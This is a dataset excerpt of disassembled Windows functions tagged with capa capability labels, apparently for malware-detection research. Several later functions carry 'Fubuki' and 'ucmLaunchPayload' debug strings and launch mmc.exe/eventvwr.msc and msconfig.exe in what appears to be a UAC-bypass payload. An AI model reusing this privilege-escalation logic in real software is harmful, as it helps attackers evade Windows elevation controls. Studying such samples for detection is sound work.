joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401f4b44
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1401e565c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1401e565c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1401f4c91
cmp rax, 0xffffffffffffffff
je 0x1401f4c91
xor edi, edi
test rbp, rbp
jle 0x1401f4c3f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1401ee4a0
mov rbx, rax
test rax, rax
jne 0x1401f4bcc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1401f4c35
mov edx, 0x8000
mov ecx, r14d
call fcn.1401ea80c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1401ed74c
cmp eax, 0xffffffff
je 0x1401f4c15
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1401f4bdc
mov edx, r15d
mov ecx, r14d
call fcn.1401ea80c
jmp 0x1401f4c35
cmp byte [rsi + 0x38], dil
je 0x1401f4c2c
cmp dword [rsi + 0x34], 5
jne 0x1401f4c2c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1401f4c35
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1401eee30
jmp 0x1401f4ca3
jns 0x1401f4ca3
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1401e565c
cmp rax, 0xffffffffffffffff
jne 0x1401f4c5d
cmp byte [rsi + 0x30], dil
je 0x1401f4ca3
jmp 0x1401f4c99
mov ecx, r14d
call fcn.1401f4a34
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1401f4ca3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x1401f4ca3
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1401f4c9e
mov edi, dword [rsi + 0x2c]
jmp 0x1401f4ca3
mov edi, socket
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1401e565c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1401f66d4
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1401f66f4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401d07cc
or eax, 0xffffffff
jmp 0x1401f66f6
xor eax, eax
add rsp, 0x28
ret
Function at 0x1401f7d1c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1401f7d4c
xor eax, eax
jmp 0x1401f7e0f
mov rbp, rbx
cmp word [rax], si
je 0x1401f7d71
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1401f7d58
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1401f7d54
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1401f11a8
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x1401f7db2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1401f7d45
call fcn.1401eee90
mov rdi, rax
test rax, rax
jne 0x1401f7dc8
xor ecx, ecx
call fcn.1401eee30
jmp 0x1401f7da7
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1401f11a8
test eax, eax
jne 0x1401f7df9
mov rcx, rdi
call fcn.1401eee30
jmp 0x1401f7e03
xor ecx, ecx
call fcn.1401eee30
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1401f7e2c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1401f7eb3
mov rsi, rbx
cmp word [rax], bp
je 0x1401f7e72
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1401f7e5c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1401f7e58
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1401eee90
mov rdi, rax
test rax, rax
je 0x1401f7ea0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14020b8b0
mov rbp, rdi
xor ecx, ecx
call fcn.1401eee30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1401fadc0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor esi, esi
mov rdi, rdx
mov dword [rsp + 0x30], esi
mov rbx, rcx
test rcx, rcx
je 0x1401fae33
cmp word [rcx], si
je 0x1401fae33
lea rdx, [0x140271918]
call fcn.1401fda14
test eax, eax
je 0x1401fae33
lea rdx, [0x140271930]
mov rcx, rbx
call fcn.1401fda14
test eax, eax
jne 0x1401fae29
mov ecx, dword [rdi + 8]
lea r9d, [rsi + 2]
lea r8, [rsp + 0x30]
mov edx, 0x2000000b
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1401fae50
mov eax, dword [rsp + 0x30]
jmp 0x1401fae62
mov rcx, rbx
call fcn.1401e4e54
jmp 0x1401fae62
mov ecx, dword [rdi + 8]
lea r8, [rsp + 0x30]
mov r9d, 2
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x1401fae54
xor eax, eax
jmp 0x1401fae62
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x1401fae62
call qword [sym.imp.KERNEL32.dll_GetACP]
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1401fae74
Capabilities:
Get geographical location

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov ebp, edx
mov dword [rax + 8], ebx
mov edi, ecx
call fcn.1401eea2c
mov ecx, edi
lea r9d, [rbx + 2]
and ecx, 0x3ff
lea r8, [rsp + 0x30]
bts ecx, 0xa
mov edx, 0x20000001
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1401faf17
cmp edi, dword [rsp + 0x30]
je 0x1401faf10
test ebp, ebp
je 0x1401faf10
mov r9, qword [rsi + 0x98]
mov r8d, ebx
movzx edx, word [r9]
lea rcx, [r9 + 2]
lea eax, [rdx - 0x41]
cmp ax, 0x19
jbe 0x1401faeec
sub dx, 0x61
cmp dx, 0x19
ja 0x1401faef8
movzx edx, word [rcx]
inc r8d
add rcx, 2
jmp 0x1401faed9
or rax, 0xffffffffffffffff
inc rax
cmp word [r9 + rax*2], bx
jne 0x1401faefc
cmp r8d, eax
setne bl
mov eax, ebx
jmp 0x1401faf19
mov eax, 1
jmp 0x1401faf19
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1401fd654
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1402d59c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1401fd69e
call fcn.1401d0818
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.1401d083c
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.1401d1e7c
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1401ca4f0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1401fd6a9
lea eax, [rbx + 1]
jmp 0x1401fd68b
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1401fd689
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1401fd68b
Function at 0x1401fd714
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1401d3018
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1401fd79e
cmp byte [rbp - 0x21], r15b
je 0x1401fd799
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1401fd7d4
call fcn.1401ef998
test eax, eax
jne 0x1401fd7c0
cmp byte [rbp - 0x21], r15b
je 0x1401fd7b8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1401fd7d4
cmp byte [rbp - 0x21], r15b
je 0x1401fd7d1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1401d2d5c
test eax, eax
jne 0x1401fd874
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1401d3018
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1401fd813
cmp byte [rbp - 0x21], r15b
je 0x1401fd848
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1401fd848
call fcn.1401ef998
test eax, eax
jne 0x1401fd834
cmp byte [rbp - 0x21], r15b
je 0x1401fd82d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1401fd848
cmp byte [rbp - 0x21], r15b
je 0x1401fd845
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1401d2d5c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1401fd874
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1401fd877
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1401fd885
mov rcx, rdi
call fcn.1401eee30
cmp byte [rbp + 0x3f], r15b
je 0x1401fd894
mov rcx, qword [rbp + 0x27]
call fcn.1401eee30
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1402014e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov r9, rcx
mov r10, rdx
mov rdx, qword [r8 + 0x1b8]
mov ecx, 0x3020100
mov dword [r8 + 0x1c4], ecx
mov r11, r8
mov eax, 1
add ecx, 0x4040404
mov dword [r8 + rax*4 + 0x1c4], ecx
inc rax
cmp rax, rdx
jbe 0x140201501
xor r8d, r8d
test r10, r10
je 0x140201563
nop
movzx eax, byte [r9]
or r8, rax
movzx ecx, byte [rax + r11 + 0x1c4]
mov byte [r9], cl
mov byte [r11 + 0x1c3], cl
nop word [rax + rax]
movzx ecx, byte [r11 + rax + 0x1c3]
mov rdx, rax
sub rax, 1
mov byte [rdx + r11 + 0x1c4], cl
jns 0x140201540
inc r9
sub r10, 1
jne 0x140201520
shr r8, 2
mov qword [r11 + 0x1b8], r8
ret

Function at 0x1402094b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1402094d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1402094d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180011064
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800194c0
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1800324c7]
call fcn.18001147e
nop
mov dword [rbp + 0x24], 0xc0000001
lea rcx, str._PCALDR__pcaStopWDI_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
mov edx, 0xe
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x180019545
mov ecx, 0x3e8
call fcn.1800110a5
nop
lea rdx, str.ResolutionHost
lea rcx, str.MicrosoftWindowsWDI
call fcn.180011190
test eax, eax
je 0x18001953e
lea rcx, str._PCALDR__ucmxStopTaskByName_success_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
mov dword [rbp + 0x24], 0
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov eax, dword [rbp + 0x24]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1800110c8
Capabilities:
Create process on windows
Terminate process

Disassembly:
jmp 0x180019b70
push rbp
push rdi
sub rsp, 0x7a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x152
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1800325a0]
call fcn.18001147e
nop
mov dword [rbp + 0x44], 5
mov eax, 0x30
add rax, 0x7ffe0000
mov rdx, rax
lea rcx, [rbp + 0x100]
call fcn.1800110aa
nop
lea rdx, str._system32_
lea rcx, [rbp + 0x100]
call fcn.18001143d
nop
lea rdx, str.mmc.exe
lea rcx, [rbp + 0x100]
call fcn.18001143d
nop
mov edx, 0x70
lea rcx, [rbp + 0x70]
call fcn.180011343
nop
mov dword [rbp + 0x70], 0x70
mov dword [rbp + 0x74], 0x40
lea rax, [rbp + 0x100]
mov qword [rbp + 0x88], rax
lea rax, str.eventvwr.msc
mov qword [rbp + 0x90], rax
mov dword [rbp + 0xa0], 5
lea rcx, [rbp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x180019cfe
xor edx, edx
lea rcx, str.Mrame
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rbp + 0x528], rax
cmp qword [rbp + 0x528], 0
je 0x180019c60
jmp 0x180019c7a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov eax, dword [rbp + 0x44]
dec eax
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x180019c3c
cmp qword [rbp + 0x528], 0
je 0x180019ce0
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
nop
mov dword [rbp + 8], 1
xor eax, eax
mov word [rbp + 0x12], ax
mov dword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
mov dword [rbp + 0x14], 0
mov eax, 0x70
mov word [rbp + 0x10], ax
mov r8d, 0x28
lea rdx, [rbp + 8]
mov ecx, 1
call qword [sym.imp.USER32.dll_SendInput]
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
xor edx, edx
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x180024840]
call fcn.1800113d4
lea rsp, [rbp + 0x788]
pop rdi
pop rbp
ret
Function at 0x180011118
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x180013360
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x180032170]
call fcn.18001147e
nop
cmp qword [rbp + 0x100], 0
jne 0x18001338f
jmp 0x180013519
call fcn.180011294
mov rax, qword [rax + 0x20]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x100]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov rcx, qword [rcx + 0xd8]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov rcx, qword [rcx + 0xc8]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov rcx, qword [rcx + 0xb8]
mov qword [rax + 0x18], rcx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 0x88]
mov dword [rax + 0x20], ecx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 0x8c]
mov dword [rax + 0x24], ecx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 0x90]
mov dword [rax + 0x28], ecx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 0x94]
mov dword [rax + 0x2c], ecx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 0x98]
mov dword [rax + 0x30], ecx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 0x9c]
mov dword [rax + 0x34], ecx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 0xa0]
mov dword [rax + 0x38], ecx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + 0xa4]
mov dword [rax + 0x3c], ecx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
movzx ecx, word [rcx + 0xa8]
mov word [rax + 0x40], cx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
movzx ecx, word [rcx + 0xe0]
mov word [rax + 0x42], cx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov rcx, qword [rcx + 0xe8]
mov qword [rax + 0x48], rcx
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x3c]
and eax, 0x300
test eax, eax
je 0x180013519
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov rcx, qword [rcx + 0x20]
mov qword [rax + 0x50], rcx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov rcx, qword [rcx + 0x28]
mov qword [rax + 0x58], rcx
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
mov rcx, qword [rcx + 0x30]
mov qword [rax + 0x60], rcx
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x18001114a
Capabilities:
Print debug messages

Disassembly:
jmp 0x1800181f0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x1800323e0]
call fcn.18001147e
nop
lea rcx, str.Fubuki_lock_and_loaded
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
mov edx, 0x834
lea rcx, [0x18002b8c0]
call fcn.180011343
nop
lea rcx, [0x18002b8c0]
call fcn.180011285
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x18001826e
lea rcx, str.Fubuki__ucmReadSharedParameters_OK_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
lea rax, [0x18002b8cc]
mov qword [rbp + 0x48], rax
lea rcx, [0x18002b8cc]
call fcn.1800110ff
shl rax, 1
mov dword [rbp + 0x64], eax
jmp 0x18001828b
lea rcx, str.Fubuki__ucmReadSharedParameters_Failed_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x64], 0
lea rcx, str.Fubuki__before_ucmLaunchPayload_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
mov edx, dword [rbp + 0x64]
mov rcx, qword [rbp + 0x48]
call fcn.1800114c9
test eax, eax
je 0x1800182b5
mov dword [rbp + 0x134], 1
jmp 0x1800182bf
mov dword [rbp + 0x134], 0
mov eax, dword [rbp + 0x134]
mov dword [rbp + 0x24], eax
lea rcx, str.Fubuki__after_ucmLaunchPayload_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
cmp qword [rbp + 0x48], 0
je 0x1800182e3
cmp dword [rbp + 0x64], 0
jne 0x1800182f4
cmp dword [0x18002b8c8], 2
jne 0x1800182f4
xor ecx, ecx
call fcn.1800114b5
nop
cmp dword [rbp + 4], 0
je 0x180018315
lea rcx, str.Fubuki__completion_r_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
nop
lea rcx, [0x18002beea]
call fcn.18001116d
nop
mov ecx, dword [rbp + 0x24]
call qword [sym.imp.ntdll.dll_RtlExitUserProcess]
nop
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x18001119f
Capabilities:
Create process on windows
Terminate process

Disassembly:
jmp 0x180019990
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x7a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x14e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x7c8]
lea rcx, [0x1800325a0]
call fcn.18001147e
nop
mov eax, 0x30
add rax, 0x7ffe0000
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.1800110aa
nop
lea rdx, str._system32_
lea rcx, [rbp + 0x110]
call fcn.18001143d
nop
lea rdx, str.msconfig.exe
lea rcx, [rbp + 0x110]
call fcn.18001143d
nop
mov edx, 0x70
lea rcx, [rbp + 0x30]
call fcn.180011343
nop
mov dword [rbp + 0x30], 0x70
mov dword [rbp + 0x34], 0x40
lea rax, [rbp + 0x110]
mov qword [rbp + 0x48], rax
lea rax, [0x180024c30]
mov qword [rbp + 0x50], rax
mov dword [rbp + 0x60], 5
lea rcx, [rbp + 0x30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x180019aec
mov edx, 0x30
lea rcx, [rbp + 0xb8]
call fcn.180011343
nop
mov qword [rsp + 0x20], 0
mov r9d, 0x30
lea r8, [rbp + 0xb8]
xor edx, edx
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jl 0x180019ace
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov ecx, dword [rbp + 0xd8]
call fcn.18001145b
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x180019ace
mov r8, qword [rbp + 0x790]
lea rdx, [0x180011221]
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_EnumChildWindows]
nop
xor edx, edx
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x180024720]
call fcn.1800113d4
lea rsp, [rbp + 0x778]
pop rdi
pop rbp
ret
Function at 0x180011285
Capabilities:
Hash data with crc32
Map section object

Disassembly:
jmp 0x180015ad0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xf98
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x2b2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xfb8]
lea rcx, [0x180032170]
call fcn.18001147e
nop
mov dword [rbp + 4], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0x1000
call fcn.18001100f
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x180015b4b
jmp 0x180015cf2
mov edx, 0x100
lea rcx, [rbp + 0x9b0]
call fcn.180011343
nop
lea rdx, [rbp + 0x9b0]
mov cx, 0x6364
call fcn.1800111b3
nop
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
mov dword [rbp + 0xf8], 0x30
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x100], rax
mov dword [rbp + 0x110], 0x40
lea rax, [rbp + 0xc8]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x120], 0
lea r8, [rbp + 0xf8]
mov edx, 0xf001f
lea rcx, [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtOpenSection]
test eax, eax
jl 0x180015cdd
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0x100000
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0x1000
xor r9d, r9d
lea r8, [rbp + 0x88]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
jl 0x180015cd2
mov edx, 0x834
lea rcx, [rbp + 0x150]
call fcn.180011343
nop
mov r8d, 0x834
mov rdx, qword [rbp + 0x88]
lea rcx, [rbp + 0x150]
call fcn.18001123f
nop
mov rdx, qword [rbp + 0x68]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
nop
mov eax, dword [rbp + 0x150]
mov dword [rbp + 0x24], eax
mov dword [rbp + 0x150], 0
mov r8d, 0x834
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlComputeCrc32]
cmp dword [rbp + 0x24], eax
jne 0x180015cd2
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0x150], eax
mov r8d, 0x834
lea rdx, [rbp + 0x150]
mov rcx, qword [rbp + 0xf60]
call fcn.18001123f
nop
mov dword [rbp + 4], 1
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtClose]
nop
xor eax, eax
test eax, eax
jne 0x180015b36
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x180022730]
call fcn.1800113d4
mov eax, edi
lea rsp, [rbp + 0xf48]
pop rdi
pop rbp
ret

Function at 0x1800112ad
Capabilities:
Terminate process

Disassembly:
jmp 0x18001c540
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret